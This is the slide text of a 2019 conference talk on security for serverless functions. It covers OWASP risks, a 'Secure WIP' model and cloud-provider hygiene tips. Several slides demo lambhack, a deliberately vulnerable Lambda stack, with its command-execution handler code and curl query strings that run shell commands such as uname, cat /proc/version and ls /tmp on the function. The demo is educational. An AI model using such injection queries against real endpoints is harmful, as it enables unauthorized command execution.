Security in the FaaS lane

A presentation at Texas Scalability Summit in September 2019 in Austin, TX, USA by Karthik Gaekwad

Slide 1

Slide 1

Security in the FaaS Lane Texas Scalability Summit Austin, 2019 @iteration1

Slide 2

Slide 2

Karthik Gaekwad Cloud Native Advocate, Oracle Cloud Infrastructure cloudnative.oracle.com @iteration1

Slide 3

Slide 3

Shoutout @wickett Principal Security Engineer @Verica Follow James’ work @wickett @iteration1

Slide 4

Slide 4

Where we are going * * * * * Serverless changes the security landscape Where security fits into serverless The Secure WIP model for serverless A quick look at lambhack Serverless provider security tips @iteration1

Slide 5

Slide 5

What is Serverless? @iteration1

Slide 6

Slide 6

Serverless Definition @iteration1

Slide 7

Slide 7

Serverless encourages functions as deploy units, coupled with third party services that allow running end-to-end applications without worrying about system operation. @iteration1

Slide 8

Slide 8

@iteration1

Slide 9

Slide 9

Slide 10

Slide 10

Serverless is IT Value @iteration1

Slide 11

Slide 11

…without worrying about system operation — About 2 minutes ago @iteration1

Slide 12

Slide 12

Yasss! Ops (and security) for free! @iteration1

Slide 13

Slide 13

Ops burden to rationalize serverless model — @patrickdebois @iteration1

Slide 14

Slide 14

Tech burden can only be transferred @iteration1

Slide 15

Slide 15

Applies to security too @iteration1

Slide 16

Slide 16

Security burden is not created or destroyed (in serverless), merely transferred @iteration1

Slide 17

Slide 17

Security is in crisis @iteration1

Slide 18

Slide 18

Inequitable Labor Distribution @iteration1

Slide 19

Slide 19

10:1 Dev:Ops @iteration1

Slide 20

Slide 20

100:10:1 Dev:Ops:Sec @iteration1

Slide 21

Slide 21

The new OSI model @iteration1

Slide 22

Slide 22

Security knows the crisis is real @iteration1

Slide 23

Slide 23

Companies are spending a great deal on security, but we read of massive computer-related attacks. Clearly something is wrong. The root of the problem is twofold: we’re protecting the wrong things, and we’re hurting productivity in the process. @iteration1

Slide 24

Slide 24

[Security by risk assessment] introduces a dangerous fallacy: that structured inadequacy is almost as good as adequacy and that underfunded security efforts plus risk management are about as good as properly funded security work @iteration1

Slide 25

Slide 25

And the survey says @iteration1

Slide 26

Slide 26

While engineering teams are busy deploying leading-edge technologies, security teams are still focused on fighting yesterday’s battles. SANS 2018 DevSecOps Survey @iteration1

Slide 27

Slide 27

95% of security professionals spend their time protecting legacy applications @iteration1

Slide 28

Slide 28

“many security teams work with a worldview where their goal is to inhibit change as much as possible” @iteration1

Slide 29

Slide 29

Serverless model doesn’t fit into security team’s worldview @iteration1

Slide 30

Slide 30

How do we change this? @iteration1

Slide 31

Slide 31

WIP @iteration1

Slide 32

Slide 32

Secure WIP for Serverless → The code you Write → The code you Inherit → The container you were Provided @iteration1

Slide 33

Slide 33

Secure WIP means collaboration DevSecOps @iteration1

Slide 34

Slide 34

WIP @iteration1

Slide 35

Slide 35

How to WIP? @iteration1

Slide 36

Slide 36

Security seperation of concerns

Slide 37

Slide 37

OWASP Serverless Top 10 (2017) OWASP Serverless Top 10 @iteration1

Slide 38

Slide 38

VERY relevant in serverless * * * * * A1 Injection A5 Broken Access Control A6 Security Misconfiguration A9 Components with known vulnerabilities A10 Insufficient Logging & Monitoring ..talk about these as we go along.. @iteration1

Slide 39

Slide 39

Secure WIP @iteration1

Slide 40

Slide 40

WIP Write @iteration1

Slide 41

Slide 41

OWASP A1-Injection Issue: Hostile Incoming Data * Same issues as in traditional apps, but more prevalent. * Frontend frameworks made this transparent before. @iteration1

Slide 42

Slide 42

Injection What should I do? → Input Validation FTW. → Seperate data from commands/queries. → Sanitize data being stored. → Use Whitelist validation strategy (if possible). @iteration1

Slide 43

Slide 43

Injection- Whitelist & Blacklisting Whitelisting only passes expected data. In contrast, blacklisting relies on programmers predicting all unexpected data. As a result, programs make mistakes more easily with blacklisting. @iteration1

Slide 44

Slide 44

OWASP A5-Broken Access Control Issue: Users acting outside their intended permissions. * URL Modificiation Example: lambhack demo with uname * Metadata, Header manipulation * Token Expiration (or lack thereof) @iteration1

Slide 45

Slide 45

Broken Access Control What do I do? → Deny by default strategy → Use an access control mechanism → Rate limit against automated tooling → Log the failures (but NOT sensitive data) @iteration1

Slide 46

Slide 46

Serverless Myth @iteration1

Slide 47

Slide 47

You can’t do command execution through the API gateway — Anonymous Developer @iteration1

Slide 48

Slide 48

@iteration1

Slide 49

Slide 49

Vulnerable Lambda + API Gateway stack → Wanted to see make the point that appsec is relevant in serverless → Born from the heritage of WebGoat, Rails Goat … @iteration1

Slide 50

Slide 50

Slide 51

Slide 51

Lambhack → A Vulnerable Lambda + API Gateway stack → Open Source, MIT licensed → Includes arbitrary code execution in a query string @iteration1

Slide 52

Slide 52

Basically a reverse shell in http query string for lambda @iteration1

Slide 53

Slide 53

// Handler is our lambda handler invoked by the lambda.Start function call func Handler(ctx context.Context, request events.APIGatewayProxyRequest) (Response, error) { output := “Your function executed successfully!” if len(request.QueryStringParameters[“q”]) > 0 { // Source of our hacky code… output = runner.Run(request.QueryStringParameters[“q”]) log.Print(“Request %v, q=%v, %v”, string(request.QueryStringParameters[“q”]), string(output)) log.Print(output) } resp := Response{ StatusCode: 200, Body: output, Headers: map[string]string{ “Content-Type”: “application/text”, }, } } return resp, nil

Slide 54

Slide 54

$ make deploy MacbookHome:lambhack karthik$ make deploy rm -rf ./bin ./vendor Gopkg.lock dep ensure -v Root project is “github.com/karthequian/lambhack” 2 transitively valid internal packages 2 external packages imported from 1 projects (0) ✓ select (root) (1) ? attempt github.com/aws/aws-lambda-go with 2 pkgs; 24 versions to try (1) try github.com/aws/aws-lambda-go@v1.13.2 (1) ✓ select github.com/aws/aws-lambda-go@v1.13.2 w/5 pkgs ✓ found solution with 5 packages from 1 projects (1/1) Wrote github.com/aws/aws-lambda-go@v1.13.2 env GOOS=linux go build -ldflags=”-s -w” -o bin/hello hello/main.go sls deploy Serverless: Packaging service… Serverless: Excluding development dependencies… Serverless: Uploading CloudFormation file to S3… Serverless: Uploading artifacts… Serverless: Uploading service myservice.zip file to S3 (3.11 MB)… Serverless: Validating template… Serverless: Updating Stack… Serverless: Checking Stack update progress… Serverless: Stack update finished… Service Information service: myservice stage: dev region: us-east-1 stack: myservice-dev resources: 10 api keys: None endpoints: GET - https://13grnm4qgi.execute-api.us-east-1.amazonaws.com/dev/hello functions: hello: myservice-dev-hello layers: None Serverless: Removing old service artifacts from S3… Serverless: Run the “serverless” command to setup monitoring, troubleshooting and testing. @iteration1

Slide 55

Slide 55

Description=”API Gateway URL” Key=APIGatewayURL Value=”https://XXXX.execute-api.us-east-1.amazonaws.com/prod” @iteration1

Slide 56

Slide 56

Run uname -a curl “<URL>/lambhack/c?args=uname+-a” returns Linux 169.254.54.149 4.14.133-97.112.amzn2.x86_64 \ 1 SMP Wed Aug 7 22:41:25 UTC 2019 x86_64 x86_64 \ x86_64 GNU/Linux @iteration1

Slide 57

Slide 57

/proc/version curl “<URL>/lambhack/c?args=cat+/proc/version” returns “Linux version 4.14.94-73.73.amzn1.x86_64 \ (mockbuild@gobi-build-64001) \ (gcc version 7.2.1 20170915 \ (Red Hat 7.2.1-2) (GCC)) \ #1 SMP Tue Jan 22 20:25:24 UTC 2019\n”

Slide 58

Slide 58

Look in /tmp curl “<URL>/lambhack/c?args=ls+-la+/tmp;+sleep+1” returns total 8 drwx——— 2 sbx_user1064 482 4096 Feb 21 22:35 . drwxr-xr-x 21 root root 4096 Feb 21 17:51 .. @iteration1

Slide 59

Slide 59

I can haz web proxy curl “<URL>/lambhack/c?args=curl+https://www.example.com;+sleep+1” returns <!doctype html> <html> <head> <title>Example Domain</title> <meta charset=”utf-8” /> …

Slide 60

Slide 60

github.com/wickett/lambhack @iteration1

Slide 61

Slide 61

AppSec Thoughts from Lambhack → Lambda has limited Blast Radius, but not zero → Monitoring/Logging plays a key role here → Detect longer run times → Higher error rate occurrences → Log actions of lambdas @iteration1

Slide 62

Slide 62

WIP Inherit @iteration1

Slide 63

Slide 63

It all seems so simple… 222 Lines of Code 5 direct dependencies 54 total deps (incl. indirect) (example thanks to snyk.io) @iteration1

Slide 64

Slide 64

460,046 Lines of Code @iteration1

Slide 65

Slide 65

Most defect density studies range from .5 to 10 defects per KLOC @iteration1

Slide 66

Slide 66

More importantly, defect density is not zero @iteration1

Slide 67

Slide 67

Vulnerabilities are just exploitable defects @iteration1

Slide 68

Slide 68

Slide 69

Slide 69

OWASP-A9 Components with known vulnerabilities What should I do? * Monitor dependencies continuously. * If you use a Docker based system, use the registry scanning tools. * Watch for CVE’s (they will happen). @iteration1

Slide 70

Slide 70

OWASP-A6 Security Misconfiguration Issue: Configuration or misconfiguration * Function permissiveness and roles (too much privilege) * Configuration for services (supporting cloud based services) * Security configuration left in logging @iteration1

Slide 71

Slide 71

OWASP-A6 Security Misconfiguration What should I do? * * * * * Limit your blast radius Harden security provider config (IAM/storage) Scan for global bucket read/write access Principle of least privilege Enterprise setting: MFA to access cloud console @iteration1

Slide 72

Slide 72

OWASP-A6 Principle of least privilege The practice of limiting access rights for users to the bare minimum permissions they need to perform their work. @iteration1

Slide 73

Slide 73

Most common attacks → Crypto Mining (via remote code execution) → Hijacking business flow → Denial of wallet → Data misconfiguration Via puresec whitepaper @iteration1

Slide 74

Slide 74

WIP Provided @iteration1

Slide 75

Slide 75

Platform Help @iteration1

Slide 76

Slide 76

Vendor Best Practices → Oracle Cloud Infrastructure → AWS → Google Cloud → Azure @iteration1

Slide 77

Slide 77

General Hygiene Recommendations * * * * * Disable root access keys Manage users with profiles Secure your keys in your deploy system Secure keys in dev system Use provider MFA @iteration1

Slide 78

Slide 78

@iteration1

Slide 79

Slide 79

Oracle Cloud Infrastructure → Oracle Functions based on Open Source Code → Fn Project: https://fnproject.io/ @iteration1

Slide 80

Slide 80

Oracle Cloud Infrastructure → IAM, MFA, Policy → Limit your blast radius with Compartments → Limit specific user/group access to specific compartments → Security guidance @iteration1

Slide 81

Slide 81

AWS @iteration1

Slide 82

Slide 82

Thought provoking talk: Gone in 60 Milliseconds Intrusion and Exfiltration in Server-less Architecture https://media.ccc.de/v/33c3-7865gonein60_milliseconds @iteration1

Slide 83

Slide 83

Focus on IAM Roles and Policies @iteration1

Slide 84

Slide 84

AWS lets you roll your own @iteration1

Slide 85

Slide 85

Slide 86

Slide 86

Choose your own adventure → Your very own Honeypot → Defend scanners and attack tooling → Parsing reputation lists → Deal with whitelisting/blacklisting → Tuning WAF Regex rules @iteration1

Slide 87

Slide 87

devs or ops Cool, but not exactly a friendly setup for @iteration1

Slide 88

Slide 88

Azure → Lots of great resources in the docs! → Check out Security Center and Sentinel → Security Center → Security Policy → Key Vault Service @iteration1

Slide 89

Slide 89

@iteration1

Slide 90

Slide 90

Google Cloud → Follow IAM and data best practices → Security command → Storage best practices @iteration1

Slide 91

Slide 91

What about roll your own? → Knative → OpenFaaS → Fn → and others… @iteration1

Slide 92

Slide 92

Kubernetes Security → Many Faas providers can use K8s to deploy/scale → Understand how to K8s → Use K8s best practices → Starting point- Devsecops in a Cloudnative world @iteration1

Slide 93

Slide 93

The New Security Playbook * * * * Speed up delivery instead of blocking Empathy towards devs and ops Normal - provide value by making security normal Automate - security testing in every phase @iteration1

Slide 94

Slide 94

Security’s Path to Influence 1. Identify Resource Misutilization 2. Add Telemetry and Feedback Loops 3. Automate and Monitor Across the Software Pipeline 4. Influence Organizational Culture @iteration1

Slide 95

Slide 95

Conclusions * * * * Use the Secure WIP model Involve security team in serverless New Security Playbook Foster discussion on where to apply controls @iteration1

Slide 96

Slide 96

Moar Reccomendations * Learn from infosec * LASCON in Austin in October * And…. @iteration1

Slide 97

Slide 97

Moar++ NEW! → 1st time in Austin! → Goal: “Talk about effective collaboration between dev, ops and security in our cloud (native) world.” → DevSecOpsDays Austin 2019 → December 16th, 2019 @iteration1

Slide 98

Slide 98

Keep In Touch @iteration1 theagileadmin.com cloudnative.oracle.com @iteration1